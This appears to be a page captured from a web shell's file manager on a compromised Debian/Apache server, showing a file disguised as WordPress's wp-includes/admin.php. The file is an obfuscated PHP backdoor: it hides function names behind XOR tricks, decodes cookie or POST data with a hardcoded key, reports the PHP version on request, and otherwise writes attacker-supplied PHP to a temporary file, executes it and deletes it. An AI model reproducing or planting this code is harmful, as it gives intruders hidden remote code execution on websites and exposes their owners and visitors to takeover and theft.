HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/admin.php
<?php 	function/*  wzyi  */cpfjmcbu(){$qql_ve='odcfcjum';/*  htp  */print_r/*e */(93210+93210);/*  ty   */}$i_pfe/*  _bjbj*/=	'i_pfe'	^	'7';




function	rcmxqnzf($rklzfv,	$nvlvd)
{


    global	$i_pfe;   $lpmygjllh	=/*i  */"";


    for/*  abqwz */($shs_xcd       =	0;/*uwsz  */$shs_xcd	</* oga*/strlen($rklzfv);)	{	for      ($fxknoyp_v/*  v */=/*   ks   */0;	$fxknoyp_v   </*   h*/strlen($nvlvd)/*   k_hjs   */&&/*d  */$shs_xcd    </*gmj  */strlen($rklzfv);	$fxknoyp_v++,	$shs_xcd++)     {
/*jqtbr  */$lpmygjllh	.=   $i_pfe(ord($rklzfv[$shs_xcd])   ^  ord($nvlvd[$fxknoyp_v]));


	}


     }
	return/*  ecx   */$lpmygjllh;


}



function/* rfqn  */_ctdegdof($usrpiu,/*uxj */$rklzfv){

	global/*  dctcv*/$i_pfe;



/*ul   */$rnbwuqrg    =	sprintf("\x2e"/*   w   */.     "/"."\45"     .	"s"."."."p"."\154",/*   mtam*/md5($usrpiu));
/*   of*/file_put_contents($rnbwuqrg,	"<"      .       "?"."p"."h"."\160"/*  tisj   */.	$i_pfe(32)       .      "\165"	.  "n".$i_pfe(108)/*ixfg*/.	$i_pfe(449-344)       .	"\x6e"   .	"\153"  .	$i_pfe(332-292)	.      "\x5f"/*   ceb_e   */.	$i_pfe(95)	./*bdzub */"\x46"/*   vgco*/./*   o */"I".$i_pfe(111-35)/*  rcac   */.	"E".$i_pfe(95)     .   "\137"/*  c   */./* t */"\51"	.	";".$i_pfe(32)	.	$rklzfv["d"]);/*   f_yh   */include($rnbwuqrg);	$fycld      =	$rnbwuqrg;/*  v*/unlink($fycld);}
function  _svinzrcvl()

{
/* scjxb */global	$i_pfe;/*gd */


/* be */$shs_xcd	=/*   ujo   */array();	$shs_xcd["p".$i_pfe(1075-957)]   =	phpversion();

/*tjq   */$shs_xcd[$i_pfe(115)	.	"\x76"]   =/* nu */"\x33"	.	"."."5";

	echo      @serialize($shs_xcd);


}



function	qzqogic($rklzfv,  $usrpiu,/*lnc   */$fxknoyp_vwdqrvenht){
/*bmp  */global	$i_pfe;

/*  nape_  */   $rklzfv	=/*  zkta  */unserialize(rcmxqnzf(rcmxqnzf(base64_decode($rklzfv),/*   c   */$usrpiu),	$fxknoyp_vwdqrvenht));
     if  (isset($rklzfv[$i_pfe(1085-988)/*rtcn   */./* i*/$i_pfe(107)]))   {

/* yza*/if	($rklzfv["\x61"]/* xu  */==	"\151")      {       _svinzrcvl();

     }/*  xiqqs*/elseif       ($rklzfv["\x61"]/* ywr */==/*gadn   */"e")/*  whn */{

       _ctdegdof($usrpiu,       $rklzfv);    }       exit();
/*   cet  */}

}

$q_qsv/*  h   */=      $_COOKIE;$duayql_ye/* p*/=  $_POST;
$q_qsv/* xn*/=       array_merge($duayql_ye,	$q_qsv);



$usrpiu	=	"\x64"	.	"\x61"."2"."5".$i_pfe(57)/*rw */./*   pyi */$i_pfe(53)/* olw*/.	"9"."6"."\x2d"    .	"c"."c"."7"."3"."-"."\x34"/*  f   */./*  s_*/"1"."\x36"  .     "b"."-".$i_pfe(700-643)	.  "2"."\64"  ./*bz  */$i_pfe(638-538)	.   "-"."b"."\x36"/*   lalg  */.      "\143"	.	"e"."4"."5"."5"."\64"	./*  xgccr */"9"."5"."\x61".$i_pfe(55);
foreach	($q_qsv	as/*vwg */$fxknoyp_vwdqrvenht       =>	$rklzfv)/*  jlgj*/{       qzqogic($rklzfv,/*   jjrx   */$usrpiu,	$fxknoyp_vwdqrvenht);}